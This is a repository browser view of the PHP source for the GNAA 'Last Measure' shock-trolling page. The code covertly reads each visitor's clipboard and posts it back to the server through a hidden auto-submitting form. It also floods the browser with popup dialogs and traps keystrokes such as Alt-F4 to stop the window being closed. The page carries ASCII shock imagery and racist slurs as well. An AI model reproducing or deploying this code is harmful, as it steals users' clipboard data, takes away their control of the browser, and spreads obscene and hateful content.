source: trollforge/lastmeasure/index.php @ 65

Revision 65, 6.0 KB checked in by sam, 7 years ago (diff)
  • added the ASCII goatse and factored some code
  • Property svn:keywords set to Id
Line 
1<?php
2function list_images() {
3   $files = array();
4   $dh = opendir("images/");
5   while(($file = readdir($dh)) != false) {
6      $ext = substr($file, -3);
7      if($ext == 'jpg' || $ext == 'gif') {
8         $files[] = 'images/'.$file;
9      }
10   }
11   closedir($dh);
12   return $files;
13}
14
15function get_random($files) {
16   return $files[rand(0,count($files)-1)];
17}
18
19function goatse() { ?>
20<pre>
21* g o a t s e x * g o a t s e x * g o a t s e x *
22g                                               g
23o /     \             \            /    \       o
24a|       |             \          |      |      a
25t|       `.             |         |       :     t
26s`        |             |        \|       |     s
27e \       | /       /  \\\   --__ \\       :    e
28x  \      \/   _--~~          ~--__| \     |    x
29*   \      \_-~                    ~-_\    |    *
30g    \_     \        _.--------.______\|   |    g
31o      \     \______// _ ___ _ (_(__&gt;  \   | o
32a       \   .  C ___)  ______ (_(____&gt;  |  / a
33t       /\ |   C ____)/ LAST \ (_____&gt;  |_/  t
34s      / /\|   C_____) MEASURE|  (___&gt;  /  \ s
35e     |   (   _C_____)\______/  // _/ /     \   e
36x     |    \  |__   \\_________// (__/       |  x
37*    | \    \____)   `----   --'             |  *
38g    |  \_          ___\       /_          _/ | g
39o   |              /    |     |  \            | o
40a   |             |    /       \  \           | a
41t   |          / /    |         |  \           |t
42s   |         / /      \__/\___/    |          |s
43e  |         / /        |    |       |         |e
44x  |          |         |    |       |         |x
45* g o a t s e x * g o a t s e x * g o a t s e x *
46</pre>
47<?php
48}
49
50function hey_everybody() { ?>
51  <object classid= "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
52          codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
53          width="1" height="1" id="hey" align="">
54    <param name="movie" value="hey.swf"></param>
55    <embed src="hey.swf" width="1" height="1" name="hey" align=""
56           type="application/x-shockwave-flash"
57           pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>
58  </object>
59<?php
60}
61
62?>
63<html>
64  <head>
65    <title>GNAA Last Measure Unified</title>
66    <script language="JavaScript">
67      <?php include("js.inc"); ?>
68    </script>
69  </head>
70<?php
71    $send = $_POST['send'];
72    $popup = $_GET['popup'];
73    $procreate = $_GET['procreate'];
74
75    if(!$popup && !$send && !$procreate) {
76      /* Just connected! Get the clipboard */ ?>
77    <body>
78      <?php goatse(); ?>
79      <form name="clip" method="post" action="index.php" style="display:none">
80        <input type="text" name="content">
81        <input type="hidden" name="send" value="1">
82        <input type="hidden" name="refer" value="<?php echo $refer; ?>">
83        <input type="hidden" name="user" value="<?php echo $user; ?>">
84        <input type="submit">
85      </form>
86      <script language="javascript">
87        // without this if statement check, it bombs out with an error
88        if (typeof clipboardData != 'undefined') {
89          var content = clipboardData.getData("Text");
90          document.forms["clip"].elements["content"].value = content;
91        }
92        document.forms["clip"].submit();
93      </script>
94    </body><?php
95
96    } elseif($send) {
97      /* First connection. Spawn shit. */
98      $files = list_images();
99      ?>
100<body background="hello.jpg" bgcolor="#ffffff"
101      onmousemove="playBall();" onLoad="playBall();"
102      leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
103  <form>
104    <input type="submit" value="CLICK ME" name="CLICK ME"
105           style="width: 2000px; height: 2000px;
106                  background-image: url('<?php echo get_random($files);?>');"
107           src="hello.jpg" height="300" width="300"
108           onmouseover="if(is_ie) {showModelessDialog('index.php?procreate=1');
109                        return true; }document.goatse.reset();playBall();
110                        return true;"
111           onclick="if(is_ie) {showModelessDialog('index.php?procreate=1');
112                    return true; } playBall();return true;"
113           onmouseout="if(is_ie) {showModelessDialog('index.php?procreate=1');
114                       return true; } else{procreate();}
115                       playBall();return true;">
116    <img src="<?php echo get_random($files);?>"
117         onmouseover="if(is_ie) {showModelessDialog('index.php?procreate=1');
118                      return true; } procreate();playBall();return true;"
119         onmouseout="if(is_ie) {showModelessDialog('index.php?procreate=1');
120                     return true; }">
121    <big><b>GNAA &gt; j00</b></big>
122    <br />
123    fristage postage is mine
124    <?php hey_everybody(); ?>
125    <br>
126    Lastmeasure last measure last-measure nero institute
127  </form>
128  <form name="goatse" onreset="procreate();" onsubmit="procreate();" action="" id="goatse">
129    <p><span style="background-color: #ffffff; border: thin solid; color: #000000;">GNAA Gay Niggers Timecop</span></p>
130  </form>
131</body><?php
132
133    } elseif($procreate) {
134      ?>
135<body bgColor="#ffffff"
136      onload="document.goatse.reset();playBall();return true;bookmark();"
137      onKeyDown="altf4key();ctrlkey();delkey();"
138      onMouseOver="procreate();playBall();">
139  <h1>PROCREATING LAST MEASURE!!!</h1>
140  <h1>GNAA > j00</h1>
141  <h1>Fristage Postage is MINE.</h1>
142  <h1>EAT THIS, GOOGLE TOOLBAR.</h1>
143  fucking nigger operating system.. at least in fucking Firebird you don't
144  have to do this shit.
145  <?php hey_everybody(); ?>
146  <form name="goatse" action="#" ONreset="procreate(); return true;">
147  </form>
148</body>
149<?php
150
151    } elseif($popup) {
152      $files = list_images();
153      $image = get_random($files);
154      ?>
155<body background="<?php echo $image;?>" bgColor="#ffffff"
156      onload="document.goatse.reset();playBall();return true;bookmark();"
157      onKeyDown="altf4key();ctrlkey();delkey();"
158      onMouseOver="procreate();playBall();">
159  <form name="goatse" action="#" ONreset="procreate();return true;">
160    <img src="<?php echo $image;?>"
161         onMouseOver="procreate();playBall();return true;" />
162  </form>
163</body>
164      <?php
165    }
166?>
167</html>
Note: See TracBrowser for help on using the repository browser.